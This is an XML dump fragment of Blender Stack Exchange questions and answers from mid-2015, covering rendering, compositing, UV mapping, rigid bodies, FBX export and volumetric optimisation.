  <row Id="33228" PostTypeId="2" ParentId="33224" CreationDate="2015-06-30T16:09:28.220" Score="2" Body="&lt;p&gt;Ok, there are a number of issues with your file:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select Layers 1 and 2 in the viewport to have both layers render.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mmHfk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;In the &lt;strong&gt;Render&gt;Shading&lt;/strong&gt; panel you should select &lt;strong&gt;Transparent&lt;/strong&gt; instead of &lt;strong&gt;Sky&lt;/strong&gt; for the Alpha setting. This will allow your Text layer to render with an alpha channel instead of black.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nYWeh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Secondly, your Hue/Sat compositing node affecting the Shockwave layer IS keyframed on the Value field. Try muting it to see the difference.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cXy83.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Reverse the inputs on your Alpha Over node to put the shockwave behind.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K8mjv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k7QQ6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shockwave image is very light when viewing in Color+Alpha mode in the UV/Image Editor. If you switch to Color only you can see a stronger effect. Alternatively, you could composite a black background behind everything to see it better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YDHMK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-06-30T17:07:25.147" LastActivityDate="2015-06-30T17:07:25.147" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="33229" PostTypeId="1" CreationDate="2015-06-30T16:26:17.917" Score="0" ViewCount="573" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/406q6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this situation, i created a scene, where light bulbs should be the light source. I managed to get the light through bulbs, but the emission coefficient is 5000, with that, the scene should be bright as sun. As you can see, it is not. And when the bulb is in the glass, light is nowhere. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Caustics are on, all bounces at 128 or more. So I guess it is somewhere in material setting, I tried to play with light paths but this was the best I achieved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you know/have something that would help me, i would be really glad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XIuAn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did something similar in Rhinoceros, so i would like to get similar result also in blender&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RmOuv.jpg&quot; alt=&quot;I did something similar in Rhinoceros, so i would like to get similar result also in blender&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12815" LastActivityDate="2015-06-30T16:26:17.917" Title="glass light pass through" Tags="&lt;light&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33230" PostTypeId="2" ParentId="33161" CreationDate="2015-06-30T16:50:17.040" Score="6" Body="&lt;p&gt;To transform an environment texture you'll want to manipulate the &lt;em&gt;Generated&lt;/em&gt; coordinates:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xAztx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HACZb.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-06-30T16:50:17.040" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33232" PostTypeId="2" ParentId="33226" CreationDate="2015-06-30T17:09:22.757" Score="1" Body="&lt;p&gt;If you applied the rotation, then this is working as expected. Transform snapping will align the transformed object's local Z axis to the normal of the face to which the object is snapped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To visualize where the object's local axes are, set the &lt;a href=&quot;http://blender.org/manual/getting_started/basics/transformations/transform_control/transform_orientations.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Transform orientation&lt;/em&gt;&lt;/a&gt; to &lt;em&gt;Local&lt;/em&gt; in &lt;em&gt;3D view &gt; Header&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n2NR5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since your object's local Z is aligned to the world Z, this means that the local Z is aligned with one of the small sides of the object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a3wTm.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;sup&gt;Note the direction of the blue arrow, which is indicating the object's local Z axis.&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use an object with a local Z axis pointing out of the large side, then it works as desired:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pbYRI.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To rotate the object's coordinates without changing the geometry, see &lt;a href=&quot;https://blender.stackexchange.com/q/8892/599&quot;&gt;Is there a way to rotate the origin without rotating the geometry?&lt;/a&gt; and &lt;a href=&quot;https://blender.stackexchange.com/q/10877/599&quot;&gt;Set rotation values without applying them&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2015-06-30T17:22:54.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33233" PostTypeId="1" CreationDate="2015-06-30T17:14:35.540" Score="3" ViewCount="9755" Body="&lt;p&gt;I'm trying to render an animation I made using blender models and textures, but all I get is a grey screen on the Rendered viewport and output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the left there's a Rendered Camera view, and on the right my objects in the Solid Viewport&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4hMbV.png&quot; alt=&quot;On the left there&amp;#39;s a Rendered Camera view, and on the right my objects in the Solid Viewport&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried doing some researching to see what I was doing wrong, but unfortunately I couldn't find anything. Here's what I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;See if something is up with lighting and camera, and apparently it's not;&lt;/li&gt;&#xA;&lt;li&gt;Disabling &quot;Sequencer&quot; from Render &gt; Post Processing;&lt;/li&gt;&#xA;&lt;li&gt;Switch from Blender Render to Cycles Render, but it didn't worked either and the output it's the same;&lt;/li&gt;&#xA;&lt;li&gt;Copy one of the objects from the original scene and place it on a new Blender file, containing just the starting cube. When I rendered through Blender Render, I could only see the cube. However, when rendering through Cycles, it rendered both objects with their following materials.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's the experiment on a new Blender file, and the Rendered view shows both objects&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BomNs.png&quot; alt=&quot;Here&amp;#39;s the experiment on a new Blender file, and the Rendered view shows both objects&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you guys have any suggestions of what my problem might be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: addded .blend file below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/310/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=310&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15330" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2016-01-12T22:12:45.010" Title="Render is all gray, tried multiple things" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2016-01-13T13:08:59.567" ContentLicense="CC BY-SA 3.0" />
  <row Id="33234" PostTypeId="1" CreationDate="2015-06-30T17:33:25.730" Score="4" ViewCount="1852" Body="&lt;p&gt;Suppose I am rendering a smoking torus from above in Cycles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(at laughably bad resolution, of course, but that's not the point)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7yoOp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles spends a &lt;em&gt;lot&lt;/em&gt; of time rendering the empty space, even though the &lt;code&gt;density&lt;/code&gt; is &lt;code&gt;0&lt;/code&gt; (and therefore, the volume should have no effect on light). I don't quite know why Cycles has to think so much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, the render times can be almost halved (from 11 min to 6 min) by using an old BI trick and masking empty parts of the volume with a shadeless object (which can be made &lt;a href=&quot;https://blender.stackexchange.com/questions/21533/totally-white-shadeless-material-in-cycles&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vhowZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is fine for simple test renders, but now I'd like to make actual scenes with smoke and fire in them, and obviously my little masking trick won't work because there are objects behind the smoke that can't be masked. (Also, shrinking the domain is not an option)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I optimize scenes with large empty volumetric sections?&lt;/p&gt;&#xA;" OwnerUserId="15301" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2016-12-05T01:43:45.453" Title="Efficient empty volume rendering in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;smoke-simulation&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33235" PostTypeId="2" ParentId="33185" CreationDate="2015-06-30T19:42:30.317" Score="0" Body="&lt;p&gt;Any asset (object, mesh, texture etc) can be scaled independently of the world scale or grid size.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to the official &lt;a href=&quot;https://www.blender.org/manual/getting_started/basics/transformations/scale.html&quot; rel=&quot;nofollow&quot;&gt;blender manual pages for using the scale tools&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13901" LastActivityDate="2015-06-30T19:42:30.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33236" PostTypeId="1" CreationDate="2015-06-30T20:07:57.730" Score="2" ViewCount="61" Body="&lt;p&gt;So I have say two meshes, A and B. In some plases, both meshes may have similar surfaces and in other cases they don't. Is there an addon to compare the meshes and determine to what degree they match. I know we can simply keep the two meshes on each other and look for extrusions but I am looking for something else, such as a procedure which can compare the faces, the orientation etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a (yet to be working) 3D camera system which will provide me with 3D models and I wanted to compare the meshes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance. &lt;/p&gt;&#xA;" OwnerUserId="15193" LastEditorUserId="3401" LastEditDate="2015-06-30T21:14:03.393" LastActivityDate="2015-06-30T21:14:03.393" Title="Addon to compare topology of two meshes" Tags="&lt;mesh&gt;&lt;objects&gt;&lt;add-on&gt;&lt;topology&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-07-01T12:32:19.780" ContentLicense="CC BY-SA 3.0" />
  <row Id="33237" PostTypeId="1" AcceptedAnswerId="33241" CreationDate="2015-06-30T22:04:09.260" Score="1" ViewCount="323" Body="&lt;p&gt;I have been working on a finger model and trying to add texture on that. I was successful, but the texture is not getting rendered as seen by the camera. In other way the orientation is different. The images are shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 3D model of the finger:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Voo5c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next the texture i am trying to map on it.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YWRlD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The unwrapped layout along with texture:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zBi60.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is model seen by the camera:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qx2Q3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final rendered image:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9xOn4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nodes Editor layout:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Tk4I5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the rendered image and the texture seen by the camera is different.&lt;/p&gt;&#xA;" OwnerUserId="15155" LastActivityDate="2015-07-01T01:24:51.227" Title="UV texture not rendered as seen by camera?" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33238" PostTypeId="1" AcceptedAnswerId="33951" CreationDate="2015-06-30T22:32:47.867" Score="5" ViewCount="3130" Body="&lt;p&gt;So I am modelling something for a friend. Its a cat from a game and it has some little bells on a collar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MimpH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I modelled and textured everything, and I was able to use Rigid Bodies for the bells so they move with the cat. But once I rigged the cat the rigid bodies don't follow the cat anymore&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I attatched them using a Generic rigid body constraint with empties connecting the cat mesh to the bells. I also have strings connecting the cat to the bells using the Hook modifier, but I have been able to figure that out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just can't seem to find a way to make the rigid bodies follow the deformations of the rig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bLQD4.png&quot; alt=&quot;Setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how I attached everything. The best that I have been able to get is the empties to follow the rig, but the rigid body simulations don't follow with the empties that are constraining them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/308/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=308&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5505" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-07-17T19:15:10.780" Title="Attach rigid bodies to rigged mesh" Tags="&lt;rigging&gt;&lt;rigid-body-simulation&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33241" PostTypeId="2" ParentId="33237" CreationDate="2015-07-01T01:24:51.227" Score="1" Body="&lt;p&gt;The problem is that you have 2 UV maps defined for the mesh, and the one selected (&quot;UVMap&quot;) is applying the image texture the wrong way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/83UNA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you select the other map (&quot;UVMap.001&quot;), you'll get the mapping that you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/71lNj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-01T01:24:51.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33242" PostTypeId="1" AcceptedAnswerId="33243" CreationDate="2015-07-01T02:30:49.437" Score="2" ViewCount="12463" Body="&lt;p&gt;In Object Mode I sometimes see these black dotted lines starting at some of my objects and ending in some random spot in the space. What are they, how do I manipulate them, and why? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C6sgn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15117" LastActivityDate="2019-12-12T12:31:47.917" Title="What are these block dotted lines?" Tags="&lt;objects&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33243" PostTypeId="2" ParentId="33242" CreationDate="2015-07-01T03:26:46.703" Score="9" Body="&lt;p&gt;These are called &quot;Relationship Lines&quot; Normally, they show relationships between an object and its parent, and an object and it constraints. they can be turned off under &lt;em&gt;options&lt;/em&gt; (&lt;kbd&gt;N&lt;/kbd&gt;) &lt;em&gt;display &gt;  relationship lines&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kn7uM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="6385" LastEditDate="2015-07-01T04:36:18.613" LastActivityDate="2015-07-01T04:36:18.613" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33246" PostTypeId="1" CreationDate="2015-07-01T04:12:00.880" Score="3" ViewCount="1019" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8M5L0.jpg&quot; alt=&quot;Realistic plastic wrinkles&quot;&gt;&#xA;How to render realistic plastic packaging with wrinkles same with the image attached&lt;/p&gt;&#xA;" OwnerUserId="15335" LastActivityDate="2015-07-01T23:49:34.887" Title="How to create realistic plastic effect in packaging" Tags="&lt;topology&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33247" PostTypeId="2" ParentId="15143" CreationDate="2015-07-01T04:55:24.217" Score="2" Body="&lt;p&gt;Did you bake your lighting? If the only thing that is moving is camera and not the lighting or the objects, you can bake all of that data to textures, apply them to each object and you can practically render and view your scene in realtime.&lt;/p&gt;&#xA;" OwnerUserId="15337" LastActivityDate="2015-07-01T04:55:24.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33248" PostTypeId="1" CreationDate="2015-07-01T07:32:13.317" Score="0" ViewCount="41" Body="&lt;p&gt;What advantages does Blender Render have? I personally always use Cycles Render, because I think the rendered material looks more realistic and node shaders are easier to use.&lt;/p&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-07-01T07:32:13.317" Title="What advantages does Blender Render have?" Tags="&lt;cycles-render-engine&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-07-01T11:12:48.113" ContentLicense="CC BY-SA 3.0" />
  <row Id="33249" PostTypeId="2" ParentId="33246" CreationDate="2015-07-01T07:35:50.770" Score="0" Body="&lt;p&gt;Go into sculpt mode and enable Dyntopo and try to create the affect with some of the brushes. You may want to make a second model for this so that you can create a normal map or bump map.&lt;/p&gt;&#xA;" OwnerUserId="3155" LastActivityDate="2015-07-01T07:35:50.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33250" PostTypeId="1" AcceptedAnswerId="33254" CreationDate="2015-07-01T07:46:42.827" Score="1" ViewCount="4196" Body="&lt;p&gt;Is there a way to only export select actions. As every time I export to unreal I have to delete a bunch of animations that are useful in blender but not something I need in unreal.&lt;/p&gt;&#xA;" OwnerUserId="3155" LastActivityDate="2015-07-01T08:37:13.477" Title="export selected actions with the fbx exporter" Tags="&lt;animation&gt;&lt;export&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33251" PostTypeId="2" ParentId="33209" CreationDate="2015-07-01T07:48:05.063" Score="2" Body="&lt;p&gt;To remove particles select the particle system by clicking on one of its particles then enter particle edit mode by pressing &lt;kbd&gt;Tab&lt;/kbd&gt;. In particle edit mode select the unwanted particles and press &lt;kbd&gt;X&lt;/kbd&gt; to delete them.&lt;/p&gt;&#xA;" OwnerUserId="5693" LastActivityDate="2015-07-01T07:48:05.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33253" PostTypeId="1" AcceptedAnswerId="47739" CreationDate="2015-07-01T08:18:28.363" Score="1" ViewCount="3250" Body="&lt;p&gt;Will fire and smoke on GPU be supported in 2.75?&#xA;Are there any infos about the roadmap regarding this issue?&lt;/p&gt;&#xA;" OwnerUserId="8235" LastActivityDate="2016-02-26T15:20:44.380" Title="Cycles: Will fire and smoke on GPU be supported in 2.75?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33254" PostTypeId="2" ParentId="33250" CreationDate="2015-07-01T08:37:13.477" Score="3" Body="&lt;p&gt;Add all actions you want to export as strips in the NLA, and then in FBX export settings, deselect &lt;code&gt;All Actions&lt;/code&gt; and keep only &lt;code&gt;NLA Strips&lt;/code&gt;. This should export only animation from NLA strips (i.e. actions).&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-07-01T08:37:13.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33255" PostTypeId="1" CreationDate="2015-07-01T10:09:44.337" Score="2" ViewCount="85" Body="&lt;p&gt;I am currently converting an export script that was written for blender 2.43 to blender 2.6+. All in all it goes pretty well, but I do have 2 slight problems. Number one is, vertex normals are sometimes different. Mostly they are off by very little, like where blender 2.43 returned something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x=1.000000 y=0.000000 z=0.000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with blender 2.62 I see&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x=0.999969 y=0.000000 z=0.000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which looks like a rounding problem. However, sometimes (quite rare) they are really off, like 2.43 returned&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x=0.000000 y=1.000000 z=0.000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and with 2.62 I get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x=-0.057955 y=0.998169 z=0.015503&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea what is going on here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other thing I see is this: in the old script, PoseBone matrices were exported by using the PoseBone's localMatrix property. For 2.62 and later, the PoseBone.matrix_basis seems to be the same, except for 2 things. One is, I have to transpose matrix_basis to have the values in the same places as for localMatrix. The other thing here is that matrix_basis seems to be missing the position component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, any idea what I am doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="15342" LastEditorUserId="15342" LastEditDate="2015-07-01T10:33:50.330" LastActivityDate="2015-07-01T10:33:50.330" Title="Strange things when converting an export script from 2.43 to 2.62+" Tags="&lt;scripting&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33257" PostTypeId="1" CreationDate="2015-07-01T10:39:25.563" Score="3" ViewCount="89" Body="&lt;p&gt;I worked on a model in large scale and then scaled down the model. Now I am not able to clearly see the edges in the model in 3d view. Is this a known Blender issue. Is there a way to increase the thickness of the edges that are displayed in the 3d view port?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GqoTV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15344" LastEditorUserId="47" LastEditDate="2015-07-01T12:45:09.887" LastActivityDate="2015-07-02T12:08:22.890" Title="Edges not properly displayed in 3d view" Tags="&lt;modeling&gt;&lt;3d-view&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="33259" PostTypeId="2" ParentId="33085" CreationDate="2015-07-01T11:03:19.090" Score="0" Body="&lt;p&gt;I Found the problem for anyone that get stuck on the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here&#xA;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?281181-Blender-Unwraping-Problem&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?281181-Blender-Unwraping-Problem&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i did the unwrap i got a small warning in the upper bar that said. object has negative scale... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;in object mode use Ctrl+A / scale &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2428" LastActivityDate="2015-07-01T11:03:19.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33260" PostTypeId="1" AcceptedAnswerId="33662" CreationDate="2015-07-01T11:55:49.370" Score="1" ViewCount="892" Body="&lt;p&gt;I have modelled and textured a simple object using separate materials on the different parts of the object.  I then created a separate texture and baked diffuse AO and normal all saved as separate textures using a 2nd UV map.&#xA;This all worked fine.  I then deleted all the materials and the original UV map.&#xA;I created a new material with just one texture (the baked diffuse of all the sub materials) This material only seems to map to the UVs of the last sub material I deleted the rocks and grass. In edit mode I can see the UV mapping seems to include all faces.&lt;img src=&quot;https://i.stack.imgur.com/lpzQZ.png&quot; alt=&quot;blend snip 1&quot;&gt;&#xA;here is the object in edit mode with all faces selected......&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w5huP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have I missed something obvious with assigning the UVs ??&#xA;As you can see in the top rendered view only the rocks and grass on the ground  show the texture . In the lower image all faces appear to have correct uvs so why is the texture not appearing on all faces in the rendered view ?&lt;/p&gt;&#xA;" OwnerUserId="15346" LastEditorUserId="-1" LastEditDate="2015-07-09T02:13:29.320" LastActivityDate="2015-07-09T08:15:12.097" Title="cycles bake seems to have lost some UV data" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;baking&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33261" PostTypeId="2" ParentId="32994" CreationDate="2015-07-01T12:42:01.477" Score="2" Body="&lt;p&gt;What you want to do is change the texture's &lt;em&gt;Color Space&lt;/em&gt; to &lt;code&gt;Linear&lt;/code&gt;. To do that, go to the &lt;em&gt;Properties&lt;/em&gt; region, and find the &lt;em&gt;Textures&lt;/em&gt; tab. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure that you are editing the texture for the right thing (displace) by checking the area highlighted in blue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/owNEF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then look under &lt;em&gt;Image&lt;/em&gt; and change the &lt;em&gt;Color Space&lt;/em&gt; value (highlighted in red).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Linear is the lowest value on the list, and show up like this (use the one I highlighted):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eTrZG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-07-01T16:57:37.400" LastActivityDate="2015-07-01T16:57:37.400" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
